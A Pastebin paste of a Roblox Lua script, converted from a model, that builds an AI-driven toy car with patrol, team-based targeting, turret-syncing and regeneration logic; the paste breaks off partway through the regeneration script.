Advertisement
firebudgy

Untitled

Feb 3rd, 2018
275
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. --Converted with ttyyuu12345's model to script plugin v4
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Model0 = Instance.new("Model")
  20. Model1 = Instance.new("Model")
  21. Model2 = Instance.new("Model")
  22. Part3 = Instance.new("Part")
  23. Part4 = Instance.new("Part")
  24. Part5 = Instance.new("Part")
  25. Part6 = Instance.new("Part")
  26. Part7 = Instance.new("Part")
  27. Part8 = Instance.new("Part")
  28. BodyGyro9 = Instance.new("BodyGyro")
  29. Script10 = Instance.new("Script")
  30. StringValue11 = Instance.new("StringValue")
  31. Script12 = Instance.new("Script")
  32. Model13 = Instance.new("Model")
  33. Humanoid14 = Instance.new("Humanoid")
  34. Script15 = Instance.new("Script")
  35. Part16 = Instance.new("Part")
  36. IntValue17 = Instance.new("IntValue")
  37. BoolValue18 = Instance.new("BoolValue")
  38. Script19 = Instance.new("Script")
  39. Model20 = Instance.new("Model")
  40. Model21 = Instance.new("Model")
  41. Part22 = Instance.new("Part")
  42. SpecialMesh23 = Instance.new("SpecialMesh")
  43. Part24 = Instance.new("Part")
  44. Part25 = Instance.new("Part")
  45. Part26 = Instance.new("Part")
  46. Part27 = Instance.new("Part")
  47. SpecialMesh28 = Instance.new("SpecialMesh")
  48. Part29 = Instance.new("Part")
  49. SpecialMesh30 = Instance.new("SpecialMesh")
  50. Part31 = Instance.new("Part")
  51. Part32 = Instance.new("Part")
  52. SpecialMesh33 = Instance.new("SpecialMesh")
  53. Part34 = Instance.new("Part")
  54. Part35 = Instance.new("Part")
  55. Part36 = Instance.new("Part")
  56. SpecialMesh37 = Instance.new("SpecialMesh")
  57. Part38 = Instance.new("Part")
  58. Part39 = Instance.new("Part")
  59. SpecialMesh40 = Instance.new("SpecialMesh")
  60. Part41 = Instance.new("Part")
  61. SpecialMesh42 = Instance.new("SpecialMesh")
  62. Part43 = Instance.new("Part")
  63. SpecialMesh44 = Instance.new("SpecialMesh")
  64. Part45 = Instance.new("Part")
  65. Part46 = Instance.new("Part")
  66. Part47 = Instance.new("Part")
  67. SpecialMesh48 = Instance.new("SpecialMesh")
  68. Part49 = Instance.new("Part")
  69. Part50 = Instance.new("Part")
  70. Part51 = Instance.new("Part")
  71. Part52 = Instance.new("Part")
  72. SpecialMesh53 = Instance.new("SpecialMesh")
  73. Part54 = Instance.new("Part")
  74. Part55 = Instance.new("Part")
  75. Part56 = Instance.new("Part")
  76. Part57 = Instance.new("Part")
  77. Part58 = Instance.new("Part")
  78. Part59 = Instance.new("Part")
  79. Part60 = Instance.new("Part")
  80. Part61 = Instance.new("Part")
  81. Part62 = Instance.new("Part")
  82. Part63 = Instance.new("Part")
  83. Part64 = Instance.new("Part")
  84. Part65 = Instance.new("Part")
  85. SpecialMesh66 = Instance.new("SpecialMesh")
  86. Part67 = Instance.new("Part")
  87. Part68 = Instance.new("Part")
  88. Model69 = Instance.new("Model")
  89. Part70 = Instance.new("Part")
  90. Part71 = Instance.new("Part")
  91. SpecialMesh72 = Instance.new("SpecialMesh")
  92. Part73 = Instance.new("Part")
  93. SpecialMesh74 = Instance.new("SpecialMesh")
  94. Part75 = Instance.new("Part")
  95. SpecialMesh76 = Instance.new("SpecialMesh")
  96. Part77 = Instance.new("Part")
  97. SpecialMesh78 = Instance.new("SpecialMesh")
  98. Part79 = Instance.new("Part")
  99. Part80 = Instance.new("Part")
  100. Part81 = Instance.new("Part")
  101. SpecialMesh82 = Instance.new("SpecialMesh")
  102. Part83 = Instance.new("Part")
  103. Part84 = Instance.new("Part")
  104. SpecialMesh85 = Instance.new("SpecialMesh")
  105. Part86 = Instance.new("Part")
  106. Part87 = Instance.new("Part")
  107. SpecialMesh88 = Instance.new("SpecialMesh")
  108. Part89 = Instance.new("Part")
  109. SpecialMesh90 = Instance.new("SpecialMesh")
  110. Part91 = Instance.new("Part")
  111. SpecialMesh92 = Instance.new("SpecialMesh")
  112. Part93 = Instance.new("Part")
  113. SpecialMesh94 = Instance.new("SpecialMesh")
  114. Model95 = Instance.new("Model")
  115. Part96 = Instance.new("Part")
  116. SpecialMesh97 = Instance.new("SpecialMesh")
  117. Part98 = Instance.new("Part")
  118. Part99 = Instance.new("Part")
  119. Part100 = Instance.new("Part")
  120. SpecialMesh101 = Instance.new("SpecialMesh")
  121. Part102 = Instance.new("Part")
  122. Script103 = Instance.new("Script")
  123. StringValue104 = Instance.new("StringValue")
  124. IntValue105 = Instance.new("IntValue")
  125. BoolValue106 = Instance.new("BoolValue")
  126. BoolValue107 = Instance.new("BoolValue")
  127. BrickColorValue108 = Instance.new("BrickColorValue")
  128. Script109 = Instance.new("Script")
  129. BoolValue110 = Instance.new("BoolValue")
  130. Model111 = Instance.new("Model")
  131. Part112 = Instance.new("Part")
  132. Model113 = Instance.new("Model")
  133. Part114 = Instance.new("Part")
  134. Script115 = Instance.new("Script")
  135. BodyGyro116 = Instance.new("BodyGyro")
  136. BodyPosition117 = Instance.new("BodyPosition")
  137. Part118 = Instance.new("Part")
  138. Part119 = Instance.new("Part")
  139. Model120 = Instance.new("Model")
  140. Part121 = Instance.new("Part")
  141. Part122 = Instance.new("Part")
  142. Script123 = Instance.new("Script")
  143. Script124 = Instance.new("Script")
  144. IntValue125 = Instance.new("IntValue")
  145. ObjectValue126 = Instance.new("ObjectValue")
  146. BoolValue127 = Instance.new("BoolValue")
  147. Script128 = Instance.new("Script")
  148. Model129 = Instance.new("Model")
  149. Part130 = Instance.new("Part")
  150. SpecialMesh131 = Instance.new("SpecialMesh")
  151. Part132 = Instance.new("Part")
  152. SpecialMesh133 = Instance.new("SpecialMesh")
  153. Part134 = Instance.new("Part")
  154. SpecialMesh135 = Instance.new("SpecialMesh")
  155. Part136 = Instance.new("Part")
  156. SpecialMesh137 = Instance.new("SpecialMesh")
  157. Part138 = Instance.new("Part")
  158. SpecialMesh139 = Instance.new("SpecialMesh")
  159. Part140 = Instance.new("Part")
  160. SpecialMesh141 = Instance.new("SpecialMesh")
  161. Part142 = Instance.new("Part")
  162. SpecialMesh143 = Instance.new("SpecialMesh")
  163. Part144 = Instance.new("Part")
  164. Part145 = Instance.new("Part")
  165. SpecialMesh146 = Instance.new("SpecialMesh")
  166. Model147 = Instance.new("Model")
  167. Part148 = Instance.new("Part")
  168. Part149 = Instance.new("Part")
  169. SpecialMesh150 = Instance.new("SpecialMesh")
  170. Part151 = Instance.new("Part")
  171. Part152 = Instance.new("Part")
  172. SpecialMesh153 = Instance.new("SpecialMesh")
  173. Part154 = Instance.new("Part")
  174. SpecialMesh155 = Instance.new("SpecialMesh")
  175. Part156 = Instance.new("Part")
  176. SpecialMesh157 = Instance.new("SpecialMesh")
  177. BoolValue158 = Instance.new("BoolValue")
  178. BrickColorValue159 = Instance.new("BrickColorValue")
  179. BoolValue160 = Instance.new("BoolValue")
  180. BoolValue161 = Instance.new("BoolValue")
  181. IntValue162 = Instance.new("IntValue")
  182. Humanoid163 = Instance.new("Humanoid")
  183. IntValue164 = Instance.new("IntValue")
  184. IntValue165 = Instance.new("IntValue")
  185. Script166 = Instance.new("Script")
  186. Script167 = Instance.new("Script")
  187. Model0.Name = "AiCar"
  188. Model0.Parent = mas
  189. Model1.Name = "Parts"
  190. Model1.Parent = Model0
  191. Model2.Name = "Wheels"
  192. Model2.Parent = Model1
  193. Part3.Name = "RLWheel"
  194. Part3.Parent = Model2
  195. Part3.BrickColor = BrickColor.new("Black")
  196. Part3.Rotation = Vector3.new(120.599998, 0.939999998, 178.940002)
  197. Part3.RotVelocity = Vector3.new(11.4377346, 2.73806024, 0.202303275)
  198. Part3.Velocity = Vector3.new(-0.671034873, -0.109069154, 12.2233582)
  199. Part3.FormFactor = Enum.FormFactor.Symmetric
  200. Part3.Shape = Enum.PartType.Cylinder
  201. Part3.Size = Vector3.new(3, 3, 3)
  202. Part3.CFrame = CFrame.new(-40.6017265, 2.09922552, 124.399231, -0.999689043, -0.0184935201, 0.0163928606, -0.0235223789, 0.50862962, -0.860664129, 0.00757821277, -0.860780478, -0.50890553)
  203. Part3.BottomSurface = Enum.SurfaceType.Smooth
  204. Part3.RightSurface = Enum.SurfaceType.Motor
  205. Part3.TopSurface = Enum.SurfaceType.Smooth
  206. Part3.Color = Color3.new(0.105882, 0.164706, 0.207843)
  207. Part3.Position = Vector3.new(-40.6017265, 2.09922552, 124.399231)
  208. Part3.Orientation = Vector3.new(59.3899994, 178.159988, -2.64999986)
  209. Part3.Color = Color3.new(0.105882, 0.164706, 0.207843)
  210. Part4.Name = "FLWheel"
  211. Part4.Parent = Model2
  212. Part4.BrickColor = BrickColor.new("Black")
  213. Part4.Rotation = Vector3.new(78.2999954, 1.12, -179.529999)
  214. Part4.RotVelocity = Vector3.new(37.8817902, 0.366261661, -0.159311146)
  215. Part4.Velocity = Vector3.new(0.25110507, 0.197964758, 17.8664207)
  216. Part4.FormFactor = Enum.FormFactor.Symmetric
  217. Part4.Shape = Enum.PartType.Cylinder
  218. Part4.Size = Vector3.new(3, 3, 3)
  219. Part4.CFrame = CFrame.new(-40.5157928, 2.09787703, 135.502441, -0.999769151, 0.00824512914, 0.0195530448, -0.0208184384, -0.202596843, -0.979040921, -0.0041115107, -0.979220271, 0.202721402)
  220. Part4.BottomSurface = Enum.SurfaceType.Smooth
  221. Part4.RightSurface = Enum.SurfaceType.Motor
  222. Part4.TopSurface = Enum.SurfaceType.Smooth
  223. Part4.Color = Color3.new(0.105882, 0.164706, 0.207843)
  224. Part4.Position = Vector3.new(-40.5157928, 2.09787703, 135.502441)
  225. Part4.Orientation = Vector3.new(78.25, 5.50999975, -174.12999)
  226. Part4.Color = Color3.new(0.105882, 0.164706, 0.207843)
  227. Part5.Name = "FRWheel"
  228. Part5.Parent = Model2
  229. Part5.BrickColor = BrickColor.new("Black")
  230. Part5.Rotation = Vector3.new(-102.329994, 1.02999997, 0.889999986)
  231. Part5.RotVelocity = Vector3.new(37.6021576, -0.547226965, -0.110472873)
  232. Part5.Velocity = Vector3.new(-0.187616169, -0.317109108, 17.0779247)
  233. Part5.FormFactor = Enum.FormFactor.Symmetric
  234. Part5.Shape = Enum.PartType.Cylinder
  235. Part5.Size = Vector3.new(3, 3, 3)
  236. Part5.CFrame = CFrame.new(-51.5149384, 2.09723473, 135.543533, 0.999709547, -0.0156036913, 0.018060863, -0.020974813, -0.213236988, 0.976775467, -0.0113894492, -0.976868629, -0.213501915)
  237. Part5.BottomSurface = Enum.SurfaceType.Smooth
  238. Part5.RightSurface = Enum.SurfaceType.Motor
  239. Part5.TopSurface = Enum.SurfaceType.Smooth
  240. Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  241. Part5.Position = Vector3.new(-51.5149384, 2.09723473, 135.543533)
  242. Part5.Orientation = Vector3.new(-77.6299973, 175.160004, -174.37999)
  243. Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  244. Part6.Name = "RRWheel"
  245. Part6.Parent = Model2
  246. Part6.BrickColor = BrickColor.new("Black")
  247. Part6.Rotation = Vector3.new(-64.75, 1.46999991, 0.0700000003)
  248. Part6.RotVelocity = Vector3.new(25.0920029, -0.398336321, -0.469362795)
  249. Part6.Velocity = Vector3.new(-0.69550544, -0.087056458, 16.5394554)
  250. Part6.FormFactor = Enum.FormFactor.Symmetric
  251. Part6.Shape = Enum.PartType.Cylinder
  252. Part6.Size = Vector3.new(3, 3, 3)
  253. Part6.CFrame = CFrame.new(-51.600708, 2.09674978, 124.494125, 0.999666154, -0.0012761876, 0.0255871303, -0.0225983076, 0.426574051, 0.904170275, -0.0120680872, -0.904444993, 0.426402092)
  254. Part6.BottomSurface = Enum.SurfaceType.Smooth
  255. Part6.RightSurface = Enum.SurfaceType.Motor
  256. Part6.TopSurface = Enum.SurfaceType.Smooth
  257. Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
  258. Part6.Position = Vector3.new(-51.600708, 2.09674978, 124.494125)
  259. Part6.Orientation = Vector3.new(-64.7099991, 3.42999983, -3.02999997)
  260. Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
  261. Part7.Name = "BSensor"
  262. Part7.Parent = Model1
  263. Part7.BrickColor = BrickColor.new("White")
  264. Part7.Rotation = Vector3.new(-179.229996, 89.4899979, 179.5)
  265. Part7.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  266. Part7.Velocity = Vector3.new(-0.583751321, -0.557341218, 14.9268761)
  267. Part7.Size = Vector3.new(1, 1.20000005, 8)
  268. Part7.CFrame = CFrame.new(-46.1015892, 2.34793091, 124.44252, -0.00775486277, -6.74181647e-05, 0.999960005, 0.00475054095, 0.999988735, 0.000104205756, -0.999945402, 0.00475120218, -0.00775338616)
  269. Part7.Color = Color3.new(0.94902, 0.952941, 0.952941)
  270. Part7.Position = Vector3.new(-46.1015892, 2.34793091, 124.44252)
  271. Part7.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
  272. Part7.Color = Color3.new(0.94902, 0.952941, 0.952941)
  273. Part8.Name = "Engine"
  274. Part8.Parent = Model1
  275. Part8.BrickColor = BrickColor.new("White")
  276. Part8.Rotation = Vector3.new(177.369995, -0.219999999, 179.98999)
  277. Part8.RotVelocity = Vector3.new(-1.13230169, -0.0245904382, -0.00745510031)
  278. Part8.Velocity = Vector3.new(0.107708216, 0.541628122, 16.6579399)
  279. Part8.CanCollide = false
  280. Part8.Size = Vector3.new(8, 1.20000005, 1)
  281. Part8.CFrame = CFrame.new(-46.0156784, 2.35185194, 135.492783, -0.999987185, -0.000261576526, -0.00377563667, -8.8059518e-05, 0.998947144, -0.0458760969, 0.00378306769, -0.0458750539, -0.998932481)
  282. Part8.TopSurface = Enum.SurfaceType.Smooth
  283. Part8.Color = Color3.new(0.94902, 0.952941, 0.952941)
  284. Part8.Position = Vector3.new(-46.0156784, 2.35185194, 135.492783)
  285. Part8.Orientation = Vector3.new(2.62999988, -179.779999, -0.00999999978)
  286. Part8.Color = Color3.new(0.94902, 0.952941, 0.952941)
  287. BodyGyro9.Parent = Part8
  288. BodyGyro9.CFrame = CFrame.new(20, 2.20000005, -15.5, -1, 0, -0, -0, 1, -0, -0, 0, -1)
  289. BodyGyro9.maxTorque = Vector3.new(100, 0, 100)
  290. BodyGyro9.P = 100
  291. BodyGyro9.D = 5
  292. BodyGyro9.MaxTorque = Vector3.new(100, 0, 100)
  293. Script10.Parent = Part8
  294. table.insert(cors,sandbox(Script10,function()
  295. --base = script.Parent.Parent.Base
  296. local ZombieTarget = script.Parent.Parent.Parent["Target Zombies"]
  297. local HumanoidTarget = script.Parent.Parent.Parent["Target Humanoids"]
  298. local isTeamGame = script.Parent.Parent.Parent.TeamGame
  299. local MyTeamColor = script.Parent.Parent.Parent.TeamColor
  300. local SightRadius = script.Parent.Parent.Parent.ScanRange
  301. local MyStatus = script.Parent.Parent.MyStatus
  302. local patrolling = script.Parent.Parent.Patroling
  303. function move(target, engine)
  304. local origincframe = engine:findFirstChild("BodyGyro").cframe
  305. local dir = (target - engine.Position).unit
  306. local spawnPos = engine.Position
  307. local pos = spawnPos + dir
  308.  
  309. engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(0,90, 0)
  310. engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos+dir)
  311. end
  312.  
  313. function findNearestTorso(pos)
  314. local list = game.Workspace:children()
  315. local torso = nil
  316. local dist = SightRadius.Value
  317. local temp = nil
  318. local human = nil
  319. local temp2 = nil
  320. for x = 1, #list do
  321. temp2 = list[x]
  322. if (temp2.className == "Model") and (temp2 ~= script.Parent.Parent) then
  323. temp = temp2:findFirstChild("Torso")
  324. human = temp2:findFirstChild("Zombie") or temp2:findFirstChild("Humanoid")
  325. local player = game.Players:GetPlayerFromCharacter(temp2)
  326. local Ai = temp2:findFirstChild("Brain") or temp2:findFirstChild("Parts")
  327. if(Ai ~= nil) then -- for my turrets and cars etc....
  328. local LP = Ai:findFirstChild("TurretEngine") -- For our Turrets
  329. local EN = Ai:findFirstChild("Engine") -- for our Ai Cars etc...
  330. local MyAiCar = script.Parent.Parent.Parent.Parent
  331. local TeamColor = Ai.Parent:findFirstChild("TeamColor")
  332. local TeamGame = Ai.Parent:findFirstChild("TeamGame")
  333. if(LP ~= nil) then
  334. if(TeamColor ~= nil and TeamGame ~= nil) then
  335. if(TeamGame.Value == true) then
  336. if(TeamColor.Value ~= MyTeamColor.Value) then
  337. if (LP.Position - pos).magnitude < dist then
  338. torso = LP
  339. dist = (LP.Position - pos).magnitude
  340. end
  341. end
  342. else
  343. if (LP.Position - pos).magnitude < dist then
  344. torso = LP
  345. dist = (LP.Position - pos).magnitude
  346. end
  347. end
  348. end
  349. end
  350. if(EN ~= nil) then
  351. if(TeamColor ~= nil and TeamGame ~= nil) then
  352. if(TeamGame.Value == true) then
  353. if(TeamColor.Value ~= MyTeamColor.Value) then
  354. if (EN.Position - pos).magnitude < dist then
  355. torso =EN
  356. dist = (EN.Position - pos).magnitude
  357. end
  358. end
  359. end
  360. else
  361. if(TeamColor ~= nil and TeamGame ~= nil) then
  362. if(TeamGame.Value == true) then
  363. if(TeamColor.Value ~= MyTeamColor.Value) then
  364. if (EN.Position - pos).magnitude < dist then
  365. torso =EN
  366. dist = (EN.Position - pos).magnitude
  367. end
  368. end
  369. else
  370. if (EN.Position - pos).magnitude < dist then
  371. torso = EN
  372. dist = (EN.Position - pos).magnitude
  373. end
  374. end
  375. end
  376. end
  377. end
  378. end
  379. if(human ~= nil or temp ~= nil) then -- just for humanoids and zombies
  380. if(ZombieTarget.Value == true and HumanoidTarget.Value == false) then
  381. if(human.Name ~= "Zombie") then
  382. human = nil
  383. temp = nil
  384. end
  385. end
  386. if(HumanoidTarget.Value == true and ZombieTarget.Value == false)then
  387. if(human.Name ~= "Humanoid") then
  388. human = nil
  389. temp = nil
  390. else
  391. if(player ~= nil) then
  392. if(isTeamGame.Value == true) then
  393. if(player.TeamColor == MyTeamColor.Value) then
  394. human = nil
  395. temp = nil
  396. end
  397. end
  398. end
  399. end
  400. end
  401. if(HumanoidTarget.Value == true and ZombieTarget.Value == true)then
  402. if(player ~= nil) then
  403. if(isTeamGame.Value == true) then
  404. if(player.TeamColor == MyTeamColor.Value) then
  405. human = nil
  406. temp = nil
  407. end
  408. end
  409. end
  410. end
  411. if(HumanoidTarget.Value == false and ZombieTarget.Value == false)then
  412. temp = nil
  413. human = nil
  414. end
  415. end
  416. if (temp ~= nil and human ~= nil) then
  417. if (temp.Position - pos).magnitude < dist and human.Health > 0 then
  418. torso = temp
  419. dist = (temp.Position - pos).magnitude
  420. end
  421. end
  422. end
  423. end
  424. return torso
  425. end
  426. function patrol()
  427. local myPathName = script.Parent.Parent.Parent.MyPathName.Value
  428. local Wheels = script.Parent.Parent.Wheels
  429. local FRWheel = Wheels.FRWheel
  430. local FLWheel = Wheels.FLWheel
  431. local RLWheel = Wheels.RLWheel
  432. local RRWheel = Wheels.RRWheel
  433. if(myPathName == nil) then return end
  434. local MyPatrol = game.Workspace:findFirstChild(myPathName)
  435. if(MyPatrol == nil) then return end
  436. if points==nil then
  437. points=0
  438. nextPoint = script.Parent.Parent.PatrolPoint
  439. nextPoint.Value = 1
  440. PP = {}
  441. Pnum = MyPatrol:children()
  442. for i = 1, #Pnum do
  443. if MyPatrol:findFirstChild("VPP"..i)~=nil then
  444. PP[i] =MyPatrol:findFirstChild("VPP"..i)
  445. points=points+1
  446. end
  447. end
  448. end
  449. if points<1 then return end
  450. patrolling.Value=true
  451. local time=math.random(3,5) -- wait time
  452. if points==1 then return end
  453. if points>1 then
  454. script.Parent.BodyGyro.P = 4000
  455. script.Parent.BodyGyro.D = 200
  456. FRWheel.RightParamB = -1
  457. FLWheel.RightParamB = 1
  458. RLWheel.RightParamB = 1
  459. RRWheel.RightParamB = -1
  460. move(PP[nextPoint.Value].Position,script.Parent)
  461. while patrolling.Value==true do
  462. local target = findNearestTorso(script.Parent.Position)
  463. if target ~= nil then
  464. patrolling.Value = false
  465. end
  466. T = script.Parent
  467. if(T ~= nil) then
  468. dis = (T.Position - PP[nextPoint.Value].Position).magnitude
  469. move(PP[nextPoint.Value].Position,script.Parent)
  470. if(dis < 50) then
  471. if(nextPoint.Value < #PP) then
  472. nextPoint.Value=nextPoint.Value+1
  473. else
  474. nextPoint.Value = 1
  475. end
  476. --wait(time)
  477. end
  478. end
  479. wait(.1)
  480. end
  481. end
  482. end
  483. script.Parent.BodyGyro.cframe = script.Parent.CFrame
  484. wait(1)
  485. while true do
  486. local Wheels = script.Parent.Parent.Wheels
  487. local FRWheel = Wheels.FRWheel
  488. local FLWheel = Wheels.FLWheel
  489. local RLWheel = Wheels.RLWheel
  490. local RRWheel = Wheels.RRWheel
  491. local BSensor = script.Parent.Parent.BSensor
  492. target = findNearestTorso(script.Parent.Position)
  493. if(target ~= nil) then
  494. MyStatus.Value = "Tracking Enemy"
  495. patrolling.Value = false
  496. if((target.Position - script.Parent.Position).magnitude > 80) then
  497. script.Parent.BodyGyro.cframe = script.Parent.CFrame
  498. script.Parent.BodyGyro.P = 4000
  499. script.Parent.BodyGyro.D = 200
  500. move(target.Position,script.Parent)
  501. FRWheel.RightParamB = -1
  502. FLWheel.RightParamB = 1
  503. RLWheel.RightParamB = 1
  504. RRWheel.RightParamB = -1
  505. else
  506. if(((target.Position - script.Parent.Position).magnitude < 60) and (target.Position - script.Parent.Position).magnitude < (target.Position - BSensor.Position).magnitude) then
  507. script.Parent.BodyGyro.cframe = script.Parent.CFrame
  508. script.Parent.BodyGyro.P = 4000
  509. script.Parent.BodyGyro.D = 200
  510. move(target.Position,script.Parent)
  511. FRWheel.RightParamB = 1
  512. FLWheel.RightParamB = -1
  513. RLWheel.RightParamB = -1
  514. RRWheel.RightParamB = 1
  515. elseif(((target.Position - BSensor.Position).magnitude < 60) and (target.Position - script.Parent.Position).magnitude > (target.Position - BSensor.Position).magnitude) then
  516. script.Parent.BodyGyro.cframe = script.Parent.CFrame
  517. script.Parent.BodyGyro.P = 4000
  518. script.Parent.BodyGyro.D = 200
  519. move(target.Position,script.Parent)
  520. FRWheel.RightParamB = -1
  521. FLWheel.RightParamB = 1
  522. RLWheel.RightParamB = 1
  523. RRWheel.RightParamB = -1
  524. elseif(((target.Position - script.Parent.Position).magnitude > 60) and (target.Position - script.Parent.Position).magnitude >60) then
  525. FRWheel.RightParamB = 0
  526. FLWheel.RightParamB = 0
  527. RLWheel.RightParamB = 0
  528. RRWheel.RightParamB = 0
  529. end
  530. end
  531. else
  532. local myPathName = script.Parent.Parent.Parent.MyPathName.Value
  533. if(myPathName ~= nil) then
  534. local PathGroup = game.Workspace:findFirstChild(myPathName)
  535. if(PathGroup ~= nil) then
  536. local check = PathGroup:children()
  537. if(#check >1) then
  538. MyStatus.Value = "Patroling"
  539. patrolling.Value = true
  540. patrol()
  541. else
  542. MyStatus.Value = "None"
  543. patrolling.Value = false
  544. end
  545. end
  546. else
  547. patrolling.Value = false
  548. end
  549. if(patrolling.Value == false) then
  550. MyStatus.Value = "Guarding"
  551. FRWheel.RightParamB = 0
  552. FLWheel.RightParamB = 0
  553. RLWheel.RightParamB = 0
  554. RRWheel.RightParamB = 0
  555. end
  556. end
  557. wait(0)
  558. end
  559.  
  560. end))
  561. StringValue11.Name = "MyStatus"
  562. StringValue11.Parent = Model1
  563. Script12.Name = "Turret+ColorUpdater"
  564. Script12.Parent = Model1
  565. table.insert(cors,sandbox(Script12,function()
  566. local ZombieTarget = script.Parent.Parent["Target Zombies"]
  567. local HumanoidTarget = script.Parent.Parent["Target Humanoids"]
  568. local isTeamGame = script.Parent.Parent.TeamGame
  569. local MyTeamColor = script.Parent.Parent.TeamColor
  570. local SightRadius = script.Parent.Parent.ScanRange
  571. local Base = script.Parent.Parent
  572. local StatusBrick = script.Parent["Status"]
  573. function getOwnTurrets(base)
  574. local bits = base:children()
  575. local Turrets = {}
  576. local Tnum = 1
  577. for i=1,#bits do
  578. local tmp = bits[i]
  579. local TurretBrain = tmp:findFirstChild("Brain")
  580. if(TurretBrain ~= nil) then
  581. Turrets[Tnum] = TurretBrain.Parent
  582. Tnum = Tnum +1
  583. end
  584. end
  585. if(#Turrets > 0) then
  586. return Turrets
  587. else
  588. return nil
  589. end
  590. end
  591.  
  592. function updateTurrets()
  593. local MyTurrets = getOwnTurrets(Base)
  594. if(MyTurrets ~= nil) then -- Update our Turrets
  595. for i=1, #MyTurrets do
  596. local TZombieTarget = MyTurrets[i]["Target Zombies"]
  597. local THumanoidTarget = MyTurrets[i]["Target Humanoids"]
  598. local TisTeamGame = MyTurrets[i].TeamGame
  599. local TMyTeamColor = MyTurrets[i].TeamColor
  600. local TSightRadius = MyTurrets[i].ScanRange
  601. TZombieTarget.Value = ZombieTarget.Value
  602. THumanoidTarget.Value = HumanoidTarget.Value
  603. TisTeamGame.Value = isTeamGame.Value
  604. TMyTeamColor.Value = MyTeamColor.Value
  605. if(SightRadius.Value > 100) then
  606. TSightRadius.Value = SightRadius.Value - 100
  607. else
  608. TSightRadius.Value = SightRadius.Value
  609. end
  610. end
  611. end
  612. setTeam()
  613. end
  614. function retriveParts(model,myColor)
  615. local raw_model = model:GetChildren()
  616. for i=1,#raw_model do
  617. local part = raw_model[i]
  618. if(part ~= nil and part.className == "Part") then
  619. part.BrickColor = myColor
  620. end
  621. end
  622. end
  623. function setTeam()
  624. local isTeamGame = script.Parent.Parent.TeamGame.Value
  625. local BSensor = script.Parent:findFirstChild("BSensor")
  626. local Engine = script.Parent:findFirstChild("Engine")
  627. local SHead = nil
  628. if(StatusBrick ~= nil) then
  629. SHead = StatusBrick:findFirstChild("Head")
  630. end
  631. if(isTeamGame == true) then
  632. retriveParts(script.Parent.Parent.BodyWork.TeamColors,script.Parent.Parent.TeamColor.Value)
  633. if(SHead ~= nil) then
  634. SHead.BrickColor = script.Parent.Parent.TeamColor.Value
  635. end
  636. if(BSensor ~= nil) then
  637. BSensor.BrickColor = script.Parent.Parent.TeamColor.Value
  638. end
  639. if(Engine ~= nil) then
  640. Engine.BrickColor = script.Parent.Parent.TeamColor.Value
  641. end
  642. else
  643. retriveParts(script.Parent.Parent.BodyWork.TeamColors,BrickColor.new("Dark stone grey"))
  644. if(SHead ~= nil) then
  645. SHead.BrickColor = BrickColor.new("Dark stone grey")
  646. end
  647. if(BSensor ~= nil) then
  648. BSensor.BrickColor = BrickColor.new("Dark stone grey")
  649. end
  650. if(Engine ~= nil) then
  651. Engine.BrickColor = BrickColor.new("Dark stone grey")
  652. end
  653. end
  654. end
  655. updateTurrets()
  656. ZombieTarget.Changed:connect(updateTurrets)
  657. HumanoidTarget.Changed:connect(updateTurrets)
  658. isTeamGame.Changed:connect(updateTurrets)
  659. MyTeamColor.Changed:connect(updateTurrets)
  660. SightRadius.Changed:connect(updateTurrets)
  661. end))
  662. Model13.Name = "Status : "
  663. Model13.Parent = Model1
  664. Humanoid14.Parent = Model13
  665. Humanoid14.Health = 0
  666. Humanoid14.MaxHealth = 0
  667. Script15.Parent = Model13
  668. table.insert(cors,sandbox(Script15,function()
  669. local myStatus = script.Parent.Parent.MyStatus
  670. wait(.1)
  671. while true do
  672. local Patroling = script.Parent.Parent.Patroling
  673. if(Patroling.Value == false) then
  674. script.Parent.Name = "Status : "..myStatus.Value
  675. else
  676. script.Parent.Name ="Patroling to Waypoint "..script.Parent.Parent.PatrolPoint.Value
  677. end
  678. wait(.1)
  679. end
  680. end))
  681. Part16.Name = "Head"
  682. Part16.Parent = Model13
  683. Part16.BrickColor = BrickColor.new("White")
  684. Part16.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
  685. Part16.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
  686. Part16.Velocity = Vector3.new(0.0491989553, 1.04357886, 14.4499683)
  687. Part16.Size = Vector3.new(8, 1.20000005, 3)
  688. Part16.CFrame = CFrame.new(-46.0087509, 5.89088535, 136.458984, 0.999963939, -6.74084877e-05, 0.00775468862, 0.000104216793, 0.999988735, -0.00475055212, -0.00775363203, 0.00475121522, 0.999950647)
  689. Part16.Color = Color3.new(0.94902, 0.952941, 0.952941)
  690. Part16.Position = Vector3.new(-46.0087509, 5.89088535, 136.458984)
  691. Part16.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
  692. Part16.Color = Color3.new(0.94902, 0.952941, 0.952941)
  693. IntValue17.Name = "PatrolPoint"
  694. IntValue17.Parent = Model1
  695. BoolValue18.Name = "Patroling"
  696. BoolValue18.Parent = Model1
  697. Script19.Name = "REGENScript"
  698. Script19.Parent = Model1
  699. table.insert(cors,sandbox(Script19,function()
  700. model = script.Parent.Parent
  701. backup = model:clone()
  702. active = false
  703.  
  704. function getOwnTurrets(base)
  705. local bits = base:children()
  706. local Turrets = {}
  707. local Tnum = 1
  708. for i=1,#bits do
  709. local tmp = bits[i]
  710. local TurretBrain = tmp:findFirstChild("Brain")
  711. if(TurretBrain ~= nil) then
  712. Turrets[Tnum] = TurretBrain.Parent
  713. Tnum = Tnum +1
  714. end
  715. end
  716. if(#Turrets > 0) then
  717. return Turrets
  718. else
  719. return nil
  720. end
  721. end
  722. local MyTurrets = getOwnTurrets(model)
  723. local NumTurrets = 0
  724. local TDes = 0
  725. if(MyTurrets ~= nil) then -- disable the turrets regen script
  726. NumTurrets = #MyTurrets
  727. for i=1,#MyTurrets do
